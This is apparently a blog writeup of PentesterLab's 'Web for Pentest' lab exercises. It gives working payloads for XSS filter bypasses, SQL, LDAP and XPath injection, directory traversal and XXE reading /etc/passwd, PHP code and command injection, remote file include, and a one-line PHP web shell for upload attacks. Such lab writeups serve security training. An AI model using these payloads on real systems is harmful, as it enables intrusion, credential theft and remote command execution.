web_for_pentest writeup

A few days ago, I did web for pentest from PentesterLab.Now, this is the writeup form PentesterLab.You also can go here to read the integral writeup.You also can go to lightless’s blog , my thoughts are similar with him.

XSS

Example 1

The first vulnerable example is just here to get you started with what is going on when you find a XSS. Using the basic payload, you should be able to get an alert box.

Make sure that you check the source code of the HTML page to see that the information you sent as part of the request is echoed back without any HTML encoding.

Example 2

In the second example, a bit of filtering is involved. The web developer added some regular expressions, to prevent the simple XSS payload from working.

If you play around, you can see that <script> and </script> are filtered. One of the most basic ways to bypass these types of filters is to play with the case: if you try <sCript> and </sCRIpt> for example, you should be able to get the alert box.

Example 3

You notified the developer about your bypass. He has added more filtering, wich now seems to prevent your previous payload. However, he is making a terrible mistake in his code (which was also present in the previous code)…

If you keep playing around, you will realise that if you use Pentest<script>erLab for payload, you can see PentesterLab in the page. You can probably use that to get <script> in the page, and your alert box to pop up.

Example 4

In this example, the developer decided to completely blacklist the word script: if the request matches script, the execution stops.

Fortunately (or unfortunately depending on what side you are on), there are a lot of ways to get JavaScript to be run (non-exhaustive list):

  • with the <a tag and for the following events: onmouseover (you will need to pass your mouse over the link), onmouseout, onmousemove, onclick …
  • with the <a tag directly in the URL: <a href='javascript:alert(1)'... (you will need to click the link to trigger the JavaScript code and remember that this won’t work since you cannot use script in this example).
  • with the <img tag directly with the event onerror: <img src='zzzz' onerror='alert(1)' />.
  • with the <div tag and for the following events: onmouseover (you will need to pass your mouse over the link), onmouseout, onmousemove, onclick…

You can use any of these techniques to get the alert box to pop-up.

Example 5

In this example, the <script> tag is accepted and gets echoed back. But as soon as you try to inject a call to alert, the PHP script stops its execution. The problem seems to come from a filter on the word alert.

Using JavaScript’s eval and String.fromCharCode(), you should be able to get an alert box without using the word alert directly. String.fromCharCode() will decode an integer (decimal value) to the corresponding character.

You can write a small tool to transform your payload to this format using your favorite scripting language.

Using this trick and the ascii table, you can easily generate the string: alert(1) and call eval on it.

Another easier bypass is to use the functions prompt or confirm in Javascript. They are less-known, but will give you the same result.

Example 6

Here, the source code of the HTML page is a bit different. If you read it, you will see that the value you are sending is echoed back inside JavaScript code. To get your alert box, you will not need to inject a script tag, you will just need to correctly complete the pre-existing JavaScript code and add your own payload, then you will need to get rid of the code after your injection point by commenting it out (using //) or by adding some dummy code (var $dummy = “) to close it correctly.

Example 7

This example is similar to the one before. This time, you won’t be able to use special characters, since they will be HTML-encoded. As you will see, you don’t really need any of these characters.

This issue is common in PHP web applications, because the well-known function used to HTML-encode characters (htmlentities) does not encode single quotes (‘), unless you told it to do so, using the ENT_QUOTES flag.

Example 8

Here, the value echoed back in the page is correctly encoded. However, there is still a XSS vulnerability in this page. To build the form, the developer used and trusted PHP_SELF which is the path provided by the user. It’s possible to manipulate the path of the application in order to:

  • call the current page (however you will get an HTTP 404 page);
  • get a XSS payload in the page.

This can be done because the current configuration of the server will call /xss/example8.php when any URL matching /xss/example8.php/… is accessed. You can simply get your payload inside the page by accessing /xss/example8.php/[XSS_PAYLOAD]. Now that you know where to inject your payload, you will need to adapt it to get it to work and get the famous alert box.

Trusting the path provided by users is a common mistake, and it can often be used to trigger XSS, as well as other issues. This is pretty common in pages with forms, and in error pages (404 and 500 pages).

Example 9

This example is a DOM-based XSS. This page could actually be completely static and still be vulnerable.

In this example, you will need to read the code of the page to understand what is happening. When the page is rendered, the JavaScript code uses the current URL to retrieve the anchor portion of the URL (#…) and dynamically (on the client side) write it inside the page. This can be used to trigger a XSS vulnerability, if you use the payload as part of the URL.

SQL injections

SQL injections are one of the most common (web) vulnerabilities. All SQL injections exercises, found here, use MySQL for back-end. SQL injections come from a lack of encoding/escaping of user-controlled input when included in SQL queries.

Depending on how the information gets added in the query, you will need different things to break the syntax. There are three different ways to echo information in a SQL statement:

  • Using quotes: single quote or double quote.
  • Using back-ticks.
  • Directly.

For example, if you want to use information as a string you can do:

1
SELECT * FROM user WHERE name="root";

or

1
SELECT * FROM user WHERE name='root';

If you want to use information as an integer you can do:

1
SELECT * FROM user WHERE id=1;

And finally, if you want to use information as a column name, you will need to do:

1
SELECT * FROM user ORDER BY name;

or

1
SELECT * FROM user ORDER BY `name`;

It’s also possible to use an integer as string, but it will be slower:

1
SELECT * FROM user WHERE id='1';

The way information is echoed back, and even what separator is used, will decide the detection technique to use. However, you don’t have this information, and you will need to try to guess it. You will need to formulate hypotheses and try to verify them. That’s why spending time poking around with the examples on the liveCD is so important.

Example 1

In this first example, we can see that the parameter is a string, and we can see one line in the table. To understand the server side code, we need to start poking around:

  • If we add extra characters like “1234”, using ?name=root1234, no record is displayed in the table. From here, we can guess that the request uses our value in some kind of matching.
  • If we inject spaces in the request, using ?name=root+++ (after encoding), the record is displayed. MySQL (by default) will ignore trailing spaces in the string when performing the comparison.
  • If we inject a double quote, using ?name=root”, no record is displayed in the table.
  • If we inject a single quote, using ?name=root’, the table disappears. We probably broke something…

From this first part, we can deduce that the request must look like:

1
SELECT * FROM users WHERE name='[INPUT]';

Now, let’s verify this hypothesis.

If we are right, the following injections should give the same results.

  • ?name=root’ and ‘1’=’1: the quote in the initial query will close the one at the end of our injection.
  • ?name=root’ and ‘1’=’1’ # (don’t forget to encode #): the quote in the initial query will be commented out.
  • ?name=root’ and 1=1 # (don’t forget to encode #): the quote in the initial query will be commented out and we don’t need the ‘ in ‘1’=’1’.
  • ?name=root’ # (don’t forget to encode #): the quote in the initial query will be commented out and we don’t need the 1=1.

Now these requests may not return the same thing:

  • ?name=root’ and ‘1’=’0: the quote in the initial query will close the one at the end of our injection. The page should not return any result (empty table), since the selection criteria always returns false.
  • ?name=root’ and ‘1’=’1 # (don’t forget to encode #): the quote in the initial query will be commented out. We should have the same result as the query above.
  • ?name=root’ or ‘1’=’1: the quote in the initial query will close the one at the end of our injection. or will select all results, with the second part being always true. It may give the same result, but it’s unlikely, since the value is used as a filter for this example (as opposed to a page only showing one result at a time).
  • ?name=root’ or ‘1’=’1’ # (don’t forget to encode #): the quote in the initial query will be commented out. We should have the same result as the query above.

With all these tests, we can be sure that we have a SQL injection. This training only focuses on detection. You can look into other PentesterLab training, and learn how to exploit this type of issues.

Example 2

In this example, the error message gives away the protection created by the developer: ERROR NO SPACE. This error message appears as soon as a space is injected inside the request. It prevents us from using the ‘ and ‘1’=’1 method, or any fingerprinting that use the space character. However, this filtering is easily bypassed, using tabulation (HT or \t). You will need to use encoding, to use it inside the HTTP request. Using this simple bypass, you should be able to see how to detect this vulnerability.

Example 3

In this example, the developer blocks spaces and tabulations. There is a way to bypass this filter. You can use comments between the keywords to build a valid request without any space or tabulation. The following SQL comments can be used: /**/. By replacing all space/tabulation in the previous examples using this comment, you should be able to test for this vulnerability.

Example 4

This example represents a typical mis-understanding of how to protect against SQL injection. In the 3 previous examples, using the function mysql_real_escape_string would have prevented the vulnerability. In this example, the developer used the same logic. However, the value used is an integer and is not echoed between single quote ‘. Since the value is directly put in the query, using mysql_real_escape_string does not prevent anything. Here, you only need to be able to add spaces and SQL keywords to break the syntax. The detection method is really similar to the one used for string-based SQL injection. You just don’t need the quote at the beginning of the payload.

Another method to detect this is to play with the integer. The initial request is >* ?id=2. By playing with the value 2, we can detect the SQL injection:

  • ?id=2 # (# needs to be encoded) should return the same thing.
  • ?id=3-1 should return the same thing. The database will automatically perform the subtraction and you will get the same result.
  • ?id=2-0 should return the same thing.
  • ?id=1+1 (+ needs to be encoded) should return the same thing. The database will automatically perform the addition and you will get the same result.
  • ?id=2.0 should return the same thing.

And the following should not return the same results:

  • ?id=2+1.
  • ?id=3-0.

Example 5

This example is really similar to the previous, detection-wise. If you look into the code, you will see that the developer tried to prevent SQL injection by using a regular expression:

1
2
3
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}

However, the regular expression used is incorrect; it only ensures that the parameter id starts with a digit. The detection method used previously can be used to detect this vulnerability.

Example 6

This example is the other way around. The developer did a mistake in the regular expression again:

1
2
3
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}

This regular expression only ensures that the parameter id ends with a digit (thanks to the $ sign). It does not ensure that the beginning of the parameter is valid (missing ^). You can use the methods learnt previously. You just need to add an integer at the end of your payload. This digit can be part of the payload or placed after a SQL comment: 1 or 1=1 # 123.

Example 7

Another and last example of bad regular expression:

1
2
3
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}

Here we can see that the beginning (^) and end ($) of the string are correctly checked. However, the regular expression contains the modifier PCRE_MULTILINE (/m). The multine modifier will only validate that one of the lines is only containing an integer, and the following values will therefore be valid (thanks to the new line in them):

  • 123\nPAYLOAD;
  • PAYLOAD\n123;
  • PAYLOAD\n123\nPAYLOAD.

These values need to be encoded when used in a URL, but with the use of encoding and the techniques seen previously you should be able to detect this vulnerability.

Example 8

In this example, the parameter name gives away where it will get echoed in the SQL query. If you look into MySQL documentation, there are two ways to provide a value inside an ORDER BY statement:

  • directly: ORDER BY name ;
  • between back-ticks: ORDER BY name.

The ORDER BY statement cannot be used with value inside single quote ‘ or double quote “. If this is used, nothing will get sorted, since MySQL considers these as constants.

To detect this type of vulnerability, we can try to get the same result using different payloads:

  • name` # (# needs to be encoded) should give the same results.
  • name` ASC # (# needs to be encoded) should give the same results.
  • name,name: the back-tick in the initial query will close the one at the end of our injection.

And the following payloads should give different results:

  • name` DESC # (# needs to be encoded).
  • name` should not give any result, since the syntax is incorrect.

Example 9

This example is similar to the previous one, but instead of back-tick ``

There are other methods that can be used in this case, since we are directly injecting in the request without a back-tick before. We can use the MySQL IF statement to generate more payloads:

  • IF(1, name,age) should give the same results.
  • IF(0, name,age) should give different results. You can see that the columns are sorted by age, but the sort function compares the values as strings, not as integers (10 is smaller than 2). This is a side effect of IF that will sort values as strings if one of the column contains a string.

Directory traversal

Directory traversals come from a lack of filtering/encoding of information used as part of a path by an application.

As with other vulnerabilities, you can use the “same value technique” to test for this type of issue. For example, if the path used by the application inside a parameter is /images/photo.jpg. You can try to access:

  • /images/./photo.jpg: you should see the same file.
  • /images/../photo.jpg: you should get an error.
  • /images/../images/photo.jpg: you should see the same file again.
  • /images/../IMAGES/photo.jpg: you should get an error (depending on the file system) or something weird is going on.

If you don’t have the value images and the legitimate path looks like photo.jpg, you will need to work out what the parent repository is.

Once you have tested that, you can try to retrieve other files. On Linux/Unix the most common test cases is the /etc/passwd. You can test: images/../../../../../../../../../../../etc/passwd, if you get the passwd file, the application is vulnerable. The good news is that you don’t need to know the number of ../. If you put too many, it will still work.

Another interesting thing to know is that if you have a directory traversal in Windows, you will be able to access test/../../../file.txt, even if the directory test does not exist. This is not the case, on Linux. This can be really useful where the code concatenates user-controlled data, to create a file name. For example, the following PHP code is supposed to add the parameter id to get a file name (example1.txt for example). On Linux, you won’t be able to exploit this vulnerability if there is no directory starting by example, whereas on Windows, you will be able to exploit it, even if there is no such directory.

1
$file = "/var/files/example_".$_GET['id'].".txt";

In these exercises, the vulnerabilities are illustrated by a script used inside an <img tag. You will need to read the HTML source (or use “Copy image URL”) to find the correct link, and start exploiting the issue.

Example 1

The first example is a really simple directory traversal. You just need to go up in the file system, and then back down, to get any files you want. In this instance, you will be restricted by the file system permissions, and won’t be able to access /etc/shadow, for example.

In this example, based on the header sent by the server, your browser will display the content of the response. Sometimes the browser will send the response with a header Content-Disposition: attachment, and your browser will not display the file directly. You can open the file to see the content. This method will take you some time for every test.

Using a Linux/Unix system, you can do this more quickly, by using wget:

1
2
3
4
5
% wget -O - 'http://vulnerable/dirtrav/example1.php?file=../../../../../../../etc/passwd'
[...]
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[...]

Example 2

In this example, you can see that the full path is used to access the file. However, if you try to just replace it with /etc/passwd, you won’t get anything. It looks like a simple check is performed by the PHP code. You can however bypass it by keeping the beginning of the path and add your payload at the end, to go up and back down within the file system.

Example 3

This example is based on a common problem when you exploit directory traversal: the server-side code adds its own suffix to your payload. This can be easily bypassed, by using a NULL BYTE (which you need to URL-encode as %00). Using NULL BYTE to get rid of any suffix added by the server-side code is a common bypass, and works really well in Perl and older versions of PHP.

In this code, the issue is simulated since PHP solved this type of bypass since the version 5.3.4.

File include

In a lot of applications, developers need to include files to load classes or to share some templates between multiple web pages.

File include vulnerabilities come from a lack of filtering when a user-controlled parameter is used as part of a file name in a call to an including function (require, require_once, include or include_once in PHP for example). If the call to one of these methods is vulnerable, an attacker will be able to manipulate the function to load his own code. File include vulnerabilities can also be used as a directory traversal to read arbitrary files. However, if the arbitrary code contains an opening PHP tag, the file will be interpreted as PHP code.

This including function can allow the loading of local resources or remote resource (a website, for example). If vulnerable, it will lead to:

  • Local File Include: LFI. A local file is read and interpreted.
  • Remote File Include: RFI. A remote file is retrieved and interpreted.

By default, PHP disables loading of remote files, thanks to the configuration option: allow_url_include. In the ISO, it has been enabled to allow you to test it.

Example 1

In this first example, you can see an error message, as soon as you inject a special character (a quote, for example) into the parameter:

1
Warning: include(intro.php'): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening 'intro.php'' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7

If you read the error message carefully, you can extract a lot of information:

  • The path of the script: /var/www/fileincl/example1.php.
  • The function used: include().
  • The value used in the call to include is the value we injected intro.php’ without any addition or filtering.

We can use the methods used to detect directory traversal, to detect file include. For example, you can try to include /etc/passwd by using the ../ technique.

We can test for Remote File Include, by requesting an external resource: https://pentesterlab.com/. We will see that the page from PentesterLab gets included inside the current page.

PentesterLab’s website also contains a test for this type of vulnerability. If you use the URL https://pentesterlab.com/test_include.txt. You should get the result of the function phpinfo() within the current page.

Example 2

In a similar manner to directory traversal, this example adds its own suffix to the value provided. As before, you can get rid of the suffix (for LFI) using a NULL BYTE. For RFI, you can get rid of the suffix, by adding &blah= or ?blah= depending on your URL.

In this exercise, the code simulates the behaviour of older versions of PHP. PHP now correctly handles paths and they cannot be poisoned using a NULL BYTE, as they used to.

In this code, the issue is simulated, since PHP solved this type of bypass since the version (5.3.4)[http://php.net/releases/5_3_4.php].

Code injection

In this section, we are going to work on code execution. Code executions come from a lack of filtering and/or escaping of user-controlled data. When you are exploiting a code injection, you will need to inject code within the information you are sending to the application. For example, if you want to run the command ls, you will need to send system(“ls”) to the application since it is a PHP application.

Just like other examples of web application issues, it’s always handy to know how to comment out the rest of the code (i.e.: the suffix that the application will add to the user-controlled data). In PHP, you can use // to get rid of the code added by the application.

As with SQL injection, you can use the same value technique to test and ensure you have a code injection:

  • By using comments and injecting / random value /.
  • By injecting a simple concatenation “.” (where “ are used to break the syntax and reform it correctly).
  • By replacing the parameter you provided by a string concatenation, for example “.”ha”.”cker”.” instead of hacker.

You can also use time-based detection for this issue by using the PHP function sleep. You will see a time difference between:

  • Not using the function sleep or calling it with a delay of zero: sleep(0).
  • A call to the function with a long delay: sleep(10).

Example 1

This first example is a trivial code injection. If you inject a single quote, nothing happens. However, you can get a better idea of the problem by injecting a double quote:

1
Parse error: syntax error, unexpected '!', expecting ',' or ';' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1

This could be the other way around; the single quote could generate an error where the double quote may not.

Based on the error message, we can see that the code is using the function eval: “Eval is evil…”.

We saw that the double quote breaks the syntax, and that the function eval seems to be using our input. From this, we can try to work out payloads that will give us the same results:

  • “.”: we are just adding a string concatenation; this should give us the same value.
  • “./pentesterlab/“: we are just adding a string concatenation and information inside comments; this should give us the same value.

Now that we have similar values working, we need to inject code. To show that we can execute code, we can try to run a command (for example uname -a using the code execution). The full PHP code looks like:

1
system('uname -a');

The challenge here is to break out of the code syntax and keep a clean syntax. There are many ways to do it:

  • By adding dummy code: “.system(‘uname -a’); $dummy=”.
  • By using comment: “.system(‘uname -a’);# or “.system(‘uname -a’);//.

Don’t forget that you will need to URL-encode some of the characters (# and ;) before sending the request.

Example 2

When ordering information, developers use two methods:

  • order by in a SQL request;
  • usort in PHP code.

The function usort is often used with the function create_function to dynamically generate the “sorting” function, based on user-controlled information. If the web application lacks potent filtering and validation, this can lead to code execution.

By injecting a single quote, we can get an idea of what is going on:

1
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22

The source code of the function looks like the following:

1
2
3
4
5
6
7
8
9
ZEND_FUNCTION(create_function)
{
[...]
eval_code = (char *) emalloc(eval_code_length);
sprintf(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(%s){%s}", Z_STRVAL_PP(z_function_args), Z_STRVAL_PP(z_function_code));

eval_name = zend_make_compiled_string_description("runtime-created function" TSRMLS_CC);
retval = zend_eval_string(eval_code, NULL, eval_name TSRMLS_CC);
[...]

We can see that the code that will be evaluated is put inside curly brackets {…}, and we will need this information to correctly finish the syntax, after our injection.

As opposed to the previous code injection, here, you are not injecting inside single or double quotes. We know that we need to close the statement with } and comment out the rest of the code using // or # (with encoding). We can try poking around with:

  • ?order=id;}//: we get an error message (Parse error: syntax error, unexpected ‘;’). We are probably missing one or more brackets.
  • ?order=id);}//: we get a warning. That seems about right.
  • ?order=id));}//: we get an error message (Parse error: syntax error, unexpected ‘)’ i). We probably have too many closing brackets.

Since we now know how to finish the code correctly (a warning does not stop the execution flow), we can inject arbitrary code and gain code execution using ?order=id);}system(‘uname%20-a’);// for example.

Example 3

We talked earlier about regular expression modifiers with multi-line regular expression. Another very dangerous modifier exists in PHP: PCRE_REPLACE_EVAL (/e). This modifier will cause the function preg_replace to evaluate the new value as PHP code, before performing the substitution.

PCRE_REPLACE_EVAL has been deprecated as of PHP 5.5.0
Here, you will need to change the pattern, by adding the /e modifier. Once you have added this modifier, you should get a notice:

1
Notice: Use of undefined constant hacker - assumed 'hacker' in /var/www/codeexec/example3.php(3) : regexp code on line 1

The function preg_replace tries to evaluate the value hacker as a constant but it’s not defined, and you get this message.

You can easily replace hacker with a call to the function phpinfo() to get a visible result. Once you can see the result of the phpinfo function, you can use the function system to run any command.

Example 4

This example is based on the function assert. When used incorrectly, this function will evaluate the value received. This behaviour can be used to gain code execution.
By injecting a single quote or double quote (depending on the way the string was declared), we can see an error message indicating that PHP tried to evaluate the code:

1
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: 'hacker'' in /var/www/codeexec/example4.php on line 4

Once we broke the syntax, we need to try to reconstruct it correctly. We can try the following: hacker’.’. The error message disappeared.

Now that we know how to finish the syntax to avoid errors, we can just inject our payload to run the function phpinfo(): hacker’.phpinfo().’ and we get the configuration of the PHP engine in the page.

Command injection

Command injection comes from a lack of filtering and encoding of information used as part of a command. The simplest example comes from using the function system (to run commands) and take an HTTP parameter as an argument of this command.

There are many ways to exploit a command injection:

  • By injecting the command inside backticks, for example id
  • By redirecting the result of the first command into the second | id
  • By running another command if the first one succeeds: && id (where & needs to be encoded)
  • By running another command if the first one fails (and making sure it does: error || id (where error is just here to cause an error).
    It’s also possible to use the same value technique to perform this type of detection. For example, you can replace 123 with echo 123. The command inside backticks will be executed first, and return exactly the same value to be used by the command.

You can also use time-based vectors to detect these kinds of vulnerabilities. You can use a command that will take time to process on the server (with a risk of denial of service). You can also use the command sleep to tell the server to wait a certain amount of time before continuing. For example, using sleep 10.

Example 1

The first example is a trivial command injection. The developer didn’t perform any input validation, and you can directly inject your commands after the ip parameter.

Based on the techniques seen above, you can for example, use the payload && cat /etc/passwd (with encoding) to see the content of /etc/passwd.

Example 2

This example validates the parameter provided, but does so incorrectly. As we saw before with the SQL injection, the regular expression used is multi-line. Using the same technique we saw for the SQL injection, you can easily gain code execution.

The good thing here is that you don’t even need to inject a separator. You can just add the encoded new line (%0a) and then put your command.

Example 3

This example is really similar to the previous one; the only difference is that the developer does not stop the script correctly. In PHP, an easy and simple way to redirect users if one of the value provided doesn’t match some security constraint is to call the function header. However, even if the browser will get redirected, this function does not stop the execution flow, and the script will still finish to run with the dangerous parameter. The developer needs to call the function die after the call to the function header, to avoid this issue.

You cannot easily exploit this vulnerability in your browser, since your browser will follow the redirect, and will not display the redirecting page. To exploit this issue you can use telnet:

1
2
% telnet vulnerable 80 
GET /commandexec/example3.php?ip=127.0.0.1|uname+-a HTTP/1.0

or using netcat:

1
% echo "GET /commandexec/example3.php?ip=127.0.0.1|uname+-a HTTP/1.0\r\n" | nc vulnerable 80

If you look carefully at the response, you will see that you get a 302 redirect, but you can see the result of the command uname -a in the body of the response.

LDAP attacks

In this section, we will cover LDAP attacks. LDAP is often used as a backend for authentication, especially in Single-Sign-On (SSO) solutions. LDAP has its own syntax that we will see in more detail, in the following examples.

Example 1

In this first example, you connect to a LDAP server, using your username and password. In this instance, The LDAP server does not authenticate you, since your credentials are invalid.

However, some LDAP servers authorise NULL Bind: if null values are sent, the LDAP server will proceed to bind the connection, and the PHP code will think that the credentials are correct. To get the bind with 2 null values, you will need to completely remove this parameter from the query. If you keep something like username=&password= in the URL, these values will not work, since they won’t be null; instead, they will be empty.

This is an important check to perform on all login forms that you will test in the future, even if the backend is not LDAP-based.

Example 2

The most common pattern of LDAP injection is to be able to inject in a filter. Here, we will see how you can use LDAP injection to bypass an authentication check.

First, you need to learn a bit of LDAP syntax. When you are retrieving a user, based on its username, the following will be used:

1
(cn=[INPUT])

If you want to add more conditions and some boolean logic, you can use:

1
2
A boolean OR using |: (|(cn=[INPUT1])(cn=[INPUT2])) to get records matching [INPUT1] or [INPUT2].
A boolean AND using &: (&(cn=[INPUT1])(userPassword=[INPUT2])) to get records for which the cn matches [INPUT1] and the password matches [INPUT2].

As you can see, the boolean logic is located at the beginning of the filter. Since you’re likely to inject after it, it’s not always possible (depending on the LDAP server) to inject logic inside the filter, if it’s just (cn=[INPUT]).

LDAP uses the wildcard character very often, to match any values. This can be used for match everything or just substrings (for example, adm* for all words starting with adm).

As with other injections, we will need to remove anything added by the server-side code. We can get rid of the end of the filter, using a NULL BYTE (encoded as %00).

Here, we have a login script. We can see that if we use:

  • username=hacker&password=hacker we get authenticated (this is the normal request).
  • username=hack*&password=hacker we get authenticated (the wildcard matches the same value).
  • username=hacker&password=hac* we don’t get authenticated (the password may likely be hashed).

Now, we will see how we can use the LDAP injection, in the username parameter to bypass the authentication. Based on our previous tests, we can deduce that the filter probably looks like:

1
(&(cn=[INPUT1])(userPassword=HASH[INPUT2]))

Where HASH is an unsalted hash (probably MD5 or SHA1).

LDAP supports several formats: {CLEARTEXT}, {MD5}, {SMD5} (salted MD5), {SHA}, {SSHA} (salted SHA1), {CRYPT} for storing passwords’.
Since [INPUT2] is hashed, we cannot use it to inject our payload.

Our goal here will be to inject inside [INPUT1] (the username parameter). We will need to inject:

  • The end of the current filter using hacker).
  • An always-true condition ((cn=*) for example)
  • A ) to keep a valid syntax and close the first ).
  • A NULL BYTE (%00) to get rid of the end of the filter.

Once you put this together, you should be able to login as hacker with any password. You can then try to find other users using the wildcard trick. For example, you can use a* in the first part of the filter, and check who you are logged in as.

In most cases, LDAP injection will allow only you to bypass authentication and authorisation checks. Retrieving arbitrary data (as opposed to just getting more results) is often really challenging or impossible.

Upload

In this section, we will cover how to use file upload functionalities to gain code execution.

In web applications (especially the ones using the file systems to determine what code should be run), you can get code execution on a server, if you manage to upload a file with the right filename (often depending on the extension). In this section, we will see the basics of these types of attacks.

First, since we are working on a PHP application, we will need a PHP web shell. A web shell is just a simple script or web application that runs the code or commands provided. For example, in PHP, the following code is a really simple web shell:

1
2
3
<?php
system($_GET["cmd"]);
?>

More complex web shells can perform advanced operations, such as providing database and file system access, or even TCP tunnelling.

Example 1

The first example is a really basic upload form, with no restriction. By using the web shell above, and naming it with a .php extension you should be able to get it upload onto the server. Once it’s uploaded, you can access the script (with the parameter cmd=uname for example) to get command execution.

Example 2

In this second example, the developer put a restriction on the file name. The file name cannot end with .php. To bypass this restriction, you can use one of the following methods:

  • change the extension to .php3. On other systems, extensions like .php4 or .php5 may also work. It depends on the configuration of the web server.
  • use an extension that Apache does not know .blah after the extension .php. Since Apache does not know how to handle the extension .blah, it will move to the next one: .php and run the PHP code.
  • upload a .htaccess file, enabling another extension to be ran by PHP (You can learn more about this technique in PentesterLab’s training: From SQL Injection to Shell: PostgreSQL edition

Using one of these methods, you should be able to gain command execution.

In this section, XML related attacks will be detailed. These types of attacks are common with web services and with applications using XPath to retrieve a configuration setting from a XML file (for example, to know what backend they need to use to authenticate a user, based on the organisation’s name provided).

Example 1

Some XML parsers will resolve external entities, and will allow a user controlling the XML message to access resources; for example to read a file on the system. The following entity can be declared, for example:

1
<!ENTITY x SYSTEM "file:///etc/passwd">

You will need to envelope this properly, in order to get it to work correctly:

1
2
<!DOCTYPE test [
<!ENTITY x SYSTEM "file:///etc/passwd">]>

You can then simply use the reference to x: &x; (don’t forget to encode &) to get the corresponding result inserted in the XML document during its parsing (server side).

In this example, the exploitation occurs directly inside a GET request, but it’s more likely that these types of requests are performed using a POST request, in a traditional web application. This issue is also really common with web services, and is probably the first test you want to do, when attacking an application that accepts XML messages.

This example can also be used to get the application to perform HTTP requests (by using http:// instead of file://) and can be used as a port scanner. However, the content retrieved is often incomplete since, the XML parser will try to parse it as part of the document.

You can also use ftp:// and https://

Example 2

In this example, the code uses the user’s input, inside an XPath expression. XPath is a query language, which selects nodes from an XML document. Imagine the XML document as a database, and XPath as an SQL query. If you can manipulate the query, you will be able to retrieve elements to which you normally should not have access.

If we inject a single quote, we can see the following error:

1
Warning: SimpleXMLElement::XPath(): Invalid predicate in /var/www/xml/example2.php on line 7 Warning: SimpleXMLElement::XPath(): xmlXPathEval: evaluation failed in /var/www/xml/example2.php on line 7 Warning: Variable passed to each() is not an array or object in /var/www/xml/example2.php on line 8

Just like SQL injection, XPath allows you to do boolean logic, and you can try:

  • ‘ and ‘1’=’1 and you should get the same result.
  • ‘ or ‘1’=’0 and you should get the same result.
  • ‘ and ‘1’=’0 and you should not get any result.
  • ‘ or ‘1’=’1 and you should get all results.

Based on these tests and previous knowledge of XPath, it’s possible to get an idea of what the XPath expression looks like:

1
[PARENT NODES]/name[.='[INPUT]']/[CHILD NODES]

To comment out the rest of the XPath expression, you can use a NULL BYTE (which you will need to encode as %00). As we can see in the XPath expression above, we also need to add a ] to properly complete the syntax. Our payload now looks like hacker’]%00 (or hacker’ or 1=1]%00 if we want all results).

If we try to find the child of the current node, using the payload

1
'%20or%201=1]/child::node()%00, we don't get much information.

Here, the problem is that we need to got back up in the node hierarchy, to get more information. In XPath, this can be done using parent::* as part of the payload. We can now select the parent of the current node, and display all the child node using

1
hacker'%20or%201=1]/parent::*/child::node()%00.

One of the node’s value looks like a password. We can confirm this, by checking if the node’s name is password using the payload

1
hacker']/parent::*/password%00.